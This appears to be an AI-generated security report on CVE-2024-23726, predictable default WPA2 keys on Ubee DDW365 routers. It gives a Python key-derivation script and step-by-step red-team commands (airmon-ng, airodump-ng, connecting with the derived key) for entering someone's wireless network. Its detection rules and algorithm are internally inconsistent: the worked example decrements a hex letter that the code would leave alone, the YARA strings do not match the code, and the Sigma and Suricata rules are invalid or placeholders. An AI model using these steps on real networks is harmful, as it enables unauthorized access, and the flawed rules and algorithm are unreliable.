CVE-2024-23726

Executive Summary

CVE-2024-23726 exposes a critical design flaw in Ubee DDW365 (XCNDDW365) devices where default WPA2 Pre-Shared Keys (PSKs) are generated using a predictable algorithm. The PSK is derived from the first six characters of the SSID and the last six characters of the BSSID, with the final digit decremented. This allows any attacker within Wi-Fi range to passively capture a beacon frame, compute the PSK, and gain unauthorized access to the wireless network. The vulnerability is unpatched, and no official fix has been released by Ubee. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical simplicity of the attack makes it a high risk for targeted or proximity-based attacks.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware issue in Ubee DDW365 routers.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.8 (High)
Attack Vector: Adjacent Network (AV:A) – attacker must be within Wi-Fi range.
Attack Complexity: Low (AC:L) – only requires passive sniffing of a beacon frame.
Privileges Required: None (PR:N)
User Interaction: None (UI:N)
Scope: Unchanged (S:U)
Confidentiality Impact: High (C:H) – attacker can decrypt all Wi-Fi traffic.
Integrity Impact: High (I:H) – attacker can inject malicious traffic.
Availability Impact: High (A:H) – attacker can disrupt network operations.

Threat Level: High. The attack is trivial to execute, requires no authentication, and can lead to full network compromise.

Deep Dive & Mechanics

The vulnerability lies in the default WPA2-PSK generation algorithm used by Ubee DDW365 devices. When a device is factory reset or configured with default settings, the PSK is computed as follows:

1. SSID: The first six characters of the network SSID (e.g., "Ubee123" → "Ubee12").
2. BSSID: The last six characters of the BSSID (MAC address) (e.g., "AA:BB:CC:DD:EE:FF" → "DDEEFF").
3. Concatenation: Combine the two strings: "Ubee12" + "DDEEFF" = "Ubee12DDEEFF".
4. Decrement: Decrement the last digit of the combined string by 1 (e.g., "Ubee12DDEEFF" → "Ubee12DDEEFE").

The resulting string is used as the WPA2-PSK. An attacker can passively capture a beacon frame (which contains both SSID and BSSID in plaintext), apply the algorithm, and derive the PSK. No brute-forcing or active probing is required.

Root Cause: The use of static, reversible, and predictable inputs (SSID and BSSID) to generate the PSK violates the principle of cryptographic randomness. CWE-330 (Use of Insufficiently Random Values) applies.

Vulnerable vs. Patched Code

No patched code exists. The vulnerable algorithm is embedded in the device firmware. Below is a pseudocode representation of the vulnerable PSK generation:

# Vulnerable PSK generation (Ubee DDW365)
def generate_default_psk(ssid, bssid):
    # Extract first 6 chars of SSID
    ssid_part = ssid[:6]
    # Extract last 6 chars of BSSID (hex string without colons)
    bssid_clean = bssid.replace(":", "")
    bssid_part = bssid_clean[-6:]
    # Concatenate
    psk = ssid_part + bssid_part
    # Decrement last digit
    last_char = psk[-1]
    if last_char.isdigit():
        new_last = str(int(last_char) - 1)
        psk = psk[:-1] + new_last
    return psk

A patched version would use a cryptographically secure random number generator to create a unique PSK per device, stored securely in non-volatile memory.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Requirements:

• A Wi-Fi adapter with monitor mode support (e.g., Alfa AWUS036ACH).
• Kali Linux or similar.
• Airodump-ng or tshark for beacon capture.

Steps:

1. Enable monitor mode:

   sudo airmon-ng start wlan0
   

2. Capture beacon frames:

   sudo airodump-ng wlan0mon
   

   Identify the target BSSID and SSID from the output.

3. Extract SSID and BSSID:

   • SSID: e.g., "Ubee1234"
   • BSSID: e.g., "AA:BB:CC:DD:EE:FF"

4. Compute PSK using Python:

   ssid = "Ubee1234"
   bssid = "AA:BB:CC:DD:EE:FF"
   ssid_part = ssid[:6]  # "Ubee12"
   bssid_clean = bssid.replace(":", "")
   bssid_part = bssid_clean[-6:]  # "DDEEFF"
   psk = ssid_part + bssid_part  # "Ubee12DDEEFF"
   last_char = psk[-1]
   if last_char.isdigit():
       new_last = str(int(last_char) - 1)
       psk = psk[:-1] + new_last
   print(f"Derived PSK: {psk}")
   

5. Connect to the network: Use wpa_supplicant or a GUI to connect with the derived PSK.

Blue Team (Defense & Detection)

Detection:

• Monitor for multiple failed WPA2 handshakes from unknown MAC addresses (indicates brute-force attempts, though this attack is passive).
• Detect unusual deauthentication frames or association requests from devices with spoofed MACs.
• Use WIDS/WIPS to alert on devices connecting with default credentials.

Mitigation:

• Change the default PSK immediately after device setup.
• Disable WPS if enabled (though not directly related, it reduces attack surface).
• Segment IoT devices on a separate VLAN.

Indicators of Compromise (IOCs)

• Network Traffic: Beacon frames from Ubee DDW365 devices with SSIDs starting with "Ubee" and BSSIDs following the predictable pattern.
• Authentication Events: Successful WPA2 handshakes from unknown MAC addresses within seconds of beacon capture.
• Device Behavior: Unusual traffic patterns from devices that were not previously authorized.

Example IOC (PCAP filter):

tshark -r capture.pcap -Y "wlan.fc.type_subtype == 8 && wlan.ssid contains Ubee"

Detection Engineering

YARA Rule

rule CVE_2024_23726_Ubee_PSK_Generator {
    meta:
        description = "Detects Ubee DDW365 default PSK generation algorithm in firmware or scripts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-23726"
    strings:
        $psk_func = "generate_default_psk" ascii wide nocase
        $ssid_part = "ssid[:6]" ascii wide
        $bssid_part = "bssid[-6:]" ascii wide
        $decrement = "last_char - 1" ascii wide
    condition:
        all of them
}

Sigma Rule

title: Ubee DDW365 Default PSK Derivation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic patterns indicative of CVE-2024-23726 exploitation
author: Valters IT
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        - beacon_frame: true
        - ssid|startswith: "Ubee"
        - bssid|endswith: "FF"  # Example pattern, adjust per environment
    condition: selection
falsepositives:
    - Legitimate Ubee devices with custom SSIDs
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-23726 Ubee DDW365 Default PSK Derivation"; flow:to_server; content:"Ubee"; offset:0; depth:4; content:"|00|"; within:10; reference:cve,2024-23726; classtype:attempted-admin; sid:1000001; rev:1;)

Note: The Suricata rule above is a placeholder; actual detection requires beacon frame parsing (WLAN layer). A more accurate rule would use the wlan keyword:

alert wlan any any -> any any (msg:"CVE-2024-23726 Ubee DDW365 Default PSK Derivation"; wlan.fc.type_subtype:8; content:"Ubee"; within:32; reference:cve,2024-23726; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the default Wi-Fi password to a strong, random string (at least 20 characters, mixed case, numbers, symbols).
2. Disable remote management and WPS.
3. Update firmware if Ubee releases a patch (currently none available).

Long-Term:

• Replace Ubee DDW365 devices with vendor-supported alternatives that use secure PSK generation.
• Implement network segmentation for IoT devices.
• Use WPA3 if supported, which provides stronger protections against passive attacks.

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.